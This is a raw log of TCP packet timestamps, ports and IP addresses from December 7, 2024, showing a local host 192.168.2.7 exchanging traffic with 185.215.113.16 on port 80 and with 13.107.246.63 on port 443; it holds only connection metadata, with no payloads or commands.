Dec 7, 2024 17:35:59.009217978 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.009922981 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.009963036 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.010059118 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.010178089 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.010839939 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.010998011 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.011038065 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.011753082 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.011898041 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.011939049 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.012693882 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.012844086 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.012888908 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.013675928 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.013803005 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.013858080 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.014496088 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.014653921 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.014779091 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.015423059 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.015727043 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.015815020 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.016328096 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.016499043 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.016546965 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.017255068 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.017425060 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.017513037 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.018265009 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.018404007 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.018452883 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.019094944 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.019262075 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.019308090 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.019567013 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.020056963 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.020174026 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.020443916 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.020967960 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.021106958 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.021878958 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.021919966 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.021981001 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.022763968 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.022813082 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.022933006 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.022979975 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.023703098 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.023869038 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.023983955 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.024612904 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.024753094 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.024807930 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.025511980 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.025687933 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.025736094 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.026434898 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.026587963 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.026705027 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.027399063 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.027573109 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.027618885 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.028280020 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.028429985 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.028475046 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.029203892 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.029371977 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.029514074 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.030173063 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.030299902 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.030345917 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.031095982 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.031217098 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.031256914 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.031964064 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.032107115 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.032149076 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.032855034 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.033046961 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.033085108 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.033781052 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.033936024 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.034162045 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.034699917 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.034852028 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.035140038 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.035629988 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.035789967 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.035828114 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.036536932 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.036701918 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.036739111 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.037463903 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.037614107 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.037666082 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.038415909 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.038587093 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.038625002 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.039395094 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.039537907 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.039577007 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.040276051 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.040399075 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.040438890 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.041135073 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.041320086 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.041366100 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.042057991 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.042232990 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.042376995 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.042989969 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.043143988 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.043184042 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.043900013 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.044054031 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.044089079 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.044802904 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.044987917 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.045027018 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.045797110 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.045986891 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.046022892 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.046652079 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.046834946 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.046871901 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.047558069 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.047724962 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.048041105 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.048505068 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.048692942 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.048732042 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.049422026 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.049593925 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.049638987 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.050317049 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.056833982 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.069220066 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.175045013 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.175203085 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.175240040 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.175443888 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.175741911 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.175848961 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.176373959 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.176579952 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.177305937 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.177339077 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.197628975 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.197701931 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.197748899 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.198005915 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.198046923 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.198244095 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.198909998 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.198968887 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.199043989 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.199851990 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.199912071 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.200239897 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.200388908 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.200423956 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.201117992 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.201313019 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.201355934 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.201955080 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.202166080 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.202194929 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.203031063 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.203309059 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.203351974 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.203912020 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.204108000 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.204145908 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.204721928 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.204899073 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.204936028 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.205693960 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.205862045 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.205926895 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.206546068 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.206731081 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.206778049 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.207472086 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.207669973 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.207721949 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.208379030 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.208558083 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.208594084 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.209342957 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.209470987 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.210171938 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.210304976 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.210464001 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.210496902 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.211123943 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.211292028 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.211325884 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.212053061 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.212287903 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.212992907 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.213035107 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.213237047 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.213936090 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.213983059 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.214066029 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.214098930 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.214865923 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.215061903 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.215102911 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.215837955 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.216162920 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.216206074 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.216707945 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.216970921 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.217005968 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.217565060 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.217720985 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.218168020 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.218519926 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.218692064 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.218727112 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.220053911 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.220169067 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.220208883 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.220660925 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.220784903 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.220825911 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.221523046 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.221626997 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.221658945 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.222282887 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.222551107 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.222696066 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.222729921 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.223356962 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.223463058 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.223495960 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.223983049 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.224155903 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.224194050 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.224988937 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.225254059 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.225296021 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.225825071 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.226038933 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.226176977 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.226739883 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.226922989 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.227262020 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.227672100 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.227828026 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.227874041 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.228594065 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.228749990 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.228789091 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.229521990 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.229660034 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.229731083 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.230457067 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.230603933 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.230679035 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.231380939 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.231529951 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.231570959 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.232279062 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.232434988 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.232501030 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.233279943 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.233391047 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.233428955 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.234081030 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.234255075 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.234327078 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.235043049 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.235188007 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.235222101 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.235964060 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.236138105 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.236928940 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.236965895 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.237099886 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.237797976 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.237828970 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.237922907 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.238164902 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.238703966 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.238892078 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.239697933 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.239762068 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.239845991 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.240572929 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.240695000 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.240731001 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.241442919 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.241632938 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.241664886 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.242353916 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.257514000 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.322400093 CET	443	49807	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:59.323374033 CET	443	49806	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:59.325714111 CET	443	49807	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:59.325768948 CET	49807	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:59.325818062 CET	49807	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:59.325838089 CET	443	49807	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:59.325851917 CET	49807	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:59.325856924 CET	443	49807	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:59.326438904 CET	443	49806	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:59.328388929 CET	49810	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:59.328413963 CET	443	49810	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:59.328445911 CET	49806	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:59.328481913 CET	49810	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:59.328536987 CET	49806	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:59.328536987 CET	49806	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:59.328553915 CET	443	49806	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:59.328562021 CET	443	49806	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:59.328612089 CET	49810	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:59.328624964 CET	443	49810	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:59.330575943 CET	49811	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:59.330600023 CET	443	49811	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:59.330656052 CET	49811	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:59.330758095 CET	49811	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:59.330765963 CET	443	49811	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:59.367257118 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.367432117 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.367477894 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.367773056 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.368083954 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.368217945 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.368907928 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.369215965 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.369277000 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.369993925 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.390702963 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.390723944 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.390738964 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.390753984 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.390763998 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.390796900 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.390985012 CET	80	49802	185.215.113.16	192.168.2.7
